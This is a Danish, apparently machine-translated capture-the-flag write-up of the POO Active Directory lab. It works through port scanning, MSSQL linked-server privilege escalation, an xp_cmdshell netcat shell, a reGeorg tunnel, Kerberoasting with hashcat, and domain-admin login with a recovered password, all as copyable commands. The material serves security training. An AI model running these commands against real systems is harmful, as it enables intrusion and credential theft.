I denne artikel vil vi analysere passagen af ikke bare en maskine, men et helt mini-laboratorium fra stedet
Som angivet i beskrivelsen er POO designet til at teste færdigheder på alle stadier af angreb i et lille Active Directory-miljø. Målet er at kompromittere en tilgængelig vært, eskalere privilegier og til sidst kompromittere hele domænet ved at indsamle 5 flag i processen.
Forbindelsen til laboratoriet sker via VPN. Det anbefales ikke at oprette forbindelse fra en fungerende computer eller fra en vært, hvor der er vigtige data for dig, da du kommer ind i et privat netværk med folk, der ved noget om informationssikkerhed 🙂
organisatoriske oplysninger
For at du kan finde ud af om nye artikler, software og anden information, har jeg oprettet
Alle oplysninger gives kun til uddannelsesformål. Forfatteren af dette dokument påtager sig intet ansvar for skader forårsaget af nogen som følge af brugen af den viden og de metoder, der er opnået som et resultat af at studere dette dokument.
Intro
Dette slutspil består af to maskiner og indeholder 5 flag.
Beskrivelsen og adressen på den tilgængelige vært er også angivet.
Lad os komme igang!
Recon flag
Denne maskine har en IP-adresse på 10.13.38.11, som jeg tilføjer til /etc/hosts.
10.13.38.11 poo.htb
Det første trin er at scanne åbne porte. Da det tager lang tid at scanne alle porte med nmap, vil jeg først gøre det med masscan. Vi scanner alle TCP- og UDP-porte fra tun0-grænsefladen ved 500pps.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
Nu, for at få mere detaljeret information om de tjenester, der kører på portene, lad os køre en scanning med -A-indstillingen.
nmap -A poo.htb -p80,1433
Således har vi IIS- og MSSQL-tjenester. I dette tilfælde finder vi ud af det rigtige DNS-navn på domænet og computeren. På webserveren bliver vi mødt af IIS-hjemmesiden.
Lad os gentage mapperne. Jeg bruger gobuster til dette. I parametrene angiver vi antallet af streams 128 (-t), URL (-u), ordbog (-w) og udvidelser, der interesserer os (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
Vi har således HTTP-godkendelse for /admin-mappen, såvel som .DS_Store desktop-tjenestelagringsfilen tilgængelig. .DS_Store er filer, der gemmer brugerindstillinger for en mappe, såsom en liste over filer, ikonplacering, valgt baggrundsbillede. En sådan fil kan ende i web-serverens bibliotek hos webudviklere. Således får vi information om indholdet af mappen. Til dette kan du bruge
python3 dsstore_crawler.py -i http://poo.htb/
Vi får indholdet af mappen. Det mest interessante her er mappen /dev, hvorfra vi kan se kilderne og db-filerne i to grene. Men vi kan bruge de første 6 tegn i fil- og mappenavne, hvis tjenesten er sårbar over for IIS ShortName. Du kan tjekke for denne sårbarhed vha
Og vi finder én tekstfil, der starter med "poo_co". Uden at vide, hvad jeg skulle gøre, valgte jeg simpelthen alle de ord, der begynder med "co", fra biblioteksordbogen.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
Og gentag med wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
Og find det rigtige ord! Vi ser på denne fil, gemmer legitimationsoplysningerne (at dømme efter DBNAME-parameteren er de fra MSSQL).
Vi afleverer flaget, og vi går frem med 20 %.
Huh flag
Vi forbinder til MSSQL, jeg bruger DBeaver.
Vi finder ikke noget interessant i denne database, lad os oprette en SQL Editor og tjekke, hvad brugerne er.
SELECT name FROM master..syslogins;
Vi har to brugere. Lad os tjekke vores privilegier.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
Der er således ingen privilegier. Lad os se de linkede servere, jeg skrev om denne teknik i detaljer
SELECT * FROM master..sysservers;
Så vi finder en anden SQL Server. Lad os kontrollere udførelsen af kommandoer på denne server ved hjælp af openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
Og vi kan endda bygge et forespørgselstræ.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
Faktum er, at når vi laver en anmodning til en linket server, udføres anmodningen i sammenhæng med en anden bruger! Lad os se, hvilken brugerkontekst vi kører på den linkede server.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
Og lad os nu se, i hvilken sammenhæng anmodningen fra den linkede server til vores udføres!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
Det er således en DBO kontekst, der skal have alle privilegier. Lad os tjekke privilegierne i tilfælde af en anmodning fra en forbundet server.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
Som du kan se, har vi alle privilegier! Lad os oprette vores admin sådan her. Men de slipper dem ikke igennem openquery, lad os gøre det gennem EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
Og nu forbinder vi med den nye brugers legitimationsoplysninger, observer den nye flagdatabase.
Vi afleverer dette flag og går videre.
Backtrack flag
Lad os hente skallen ved hjælp af MSSQL, jeg bruger mssqlclient fra impacket-pakken.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
Vi skal have adgangskoder, og det første, vi allerede har mødt, er siden. Derfor har vi brug for en webserverkonfiguration (det er umuligt at smide en praktisk shell, tilsyneladende virker firewallen).
Men adgang nægtes. Selvom vi kan læse filen fra MSSQL, skal vi bare vide, hvilke programmeringssprog der er konfigureret. Og i MSSQL-biblioteket finder vi ud af, at der er Python.
Så er der ikke noget problem at læse web.config-filen.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
Når legitimationsoplysningerne er fundet, skal du gå til /admin og hente flaget.
fodfæste flag
Faktisk er der nogle gener ved at bruge en firewall, men ser vi netværksindstillingerne igennem, bemærker vi, at der også bruges IPv6-protokol!
Tilføj denne adresse til /etc/hosts.
dead:babe::1001 poo6.htb
Lad os scanne værten igen, men denne gang over IPv6.
Og WinRM-tjenesten er tilgængelig over IPv6. Lad os forbinde med de fundne legitimationsoplysninger.
Der er et flag på skrivebordet, aflever det.
P00ned flag
Efter rekognoscering på værten med
setspn.exe -T intranet.poo -Q */*
Lad os udføre kommandoen via MSSQL.
På denne måde får vi SPN for brugerne p00_hr og p00_adm, hvilket betyder, at de er sårbare over for et angreb såsom Kerberoasting. Kort sagt, vi kan få hashen af deres adgangskoder.
Først skal du have en stabil shell på vegne af MSSQL-brugeren. Men da vi er begrænset i adgang, har vi kun forbindelse til værten via porte 80 og 1433. Men det er muligt at tunnelere trafik gennem havn 80! Til dette bruger vi
Men når vi forsøger at få adgang til det, får vi en fejl 404. Det betyder, at *.aspx-filer ikke udføres. For at få filer med disse udvidelser til at køre, skal du installere ASP.NET 4.5 som følger.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
Og nu, når vi tilgår tunnel.aspx, får vi svaret, at alt er klar til at gå.
Lad os starte klientdelen af applikationen, som vil videresende trafik. Vi videresender al trafik fra port 5432 til serveren.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
Og vi bruger proxykæder til at sende trafikken til enhver applikation gennem vores proxy. Lad os tilføje denne proxy til /etc/proxychains.conf-konfigurationsfilen.
Lad os nu uploade programmet til serveren
Nu, gennem MSSQL, starter vi lytteren.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
Og vi forbinder via vores proxy.
proxychains rlwrap nc poo.htb 4321
Og lad os få hashen.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
Dernæst skal du gentage disse hashes. Da rockyou ikke havde en adgangskodedataordbog, brugte jeg ALLE adgangsordsordbøgerne i Seclists. Til opregning bruger vi hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
Og vi finder begge adgangskoder, det første i dutch_passwordlist.txt ordbogen, og det andet i Keyboard-Combinations.txt.
Og så vi har tre brugere, vi går til domænecontrolleren. Lad os først finde hans adresse.
Fantastisk, vi har lært IP-adressen på domænecontrolleren. Lad os finde ud af alle brugere af domænet, samt hvem af dem der er administrator. For at downloade scriptet for at få information PowerView.ps1. Derefter forbinder vi ved hjælp af evil-winrm, og specificerer mappen med scriptet i parameteren -s. Og så skal du bare indlæse PowerView-scriptet.
Nu har vi adgang til alle dens funktioner. p00_adm-brugeren ligner en privilegeret bruger, så vi vil arbejde i dens kontekst. Lad os oprette et PSCredential-objekt til denne bruger.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
Nu vil alle Powershell-kommandoer, hvor vi angiver Creds, blive udført på vegne af p00_adm. Lad os vise en liste over brugere og AdminCount-attributten.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
Så vores bruger er virkelig privilegeret. Lad os se, hvilke grupper han tilhører.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
Vi bekræfter endelig, at brugeren er en domæneadministrator. Dette giver den ret til at eksternt logge på domænecontrolleren. Lad os prøve at logge ind med WinRM ved hjælp af vores tunnel. Jeg var forvirret over fejlene udstedt af reGeorg, da jeg brugte evil-winrm.
Så bruger vi en anden, nemmere,
Vi forsøger at forbinde, og vi er i systemet.
Men der er ikke noget flag. Kig derefter på brugeren og tjek skrivebordene.
Hos mr3ks finder vi flaget og laboratoriet er 100% færdiggjort.
Det er alt. Som feedback kan du kommentere på, om du har lært noget nyt af denne artikel, og om det var nyttigt for dig.
Du kan slutte dig til os kl
Kilde: www.habr.com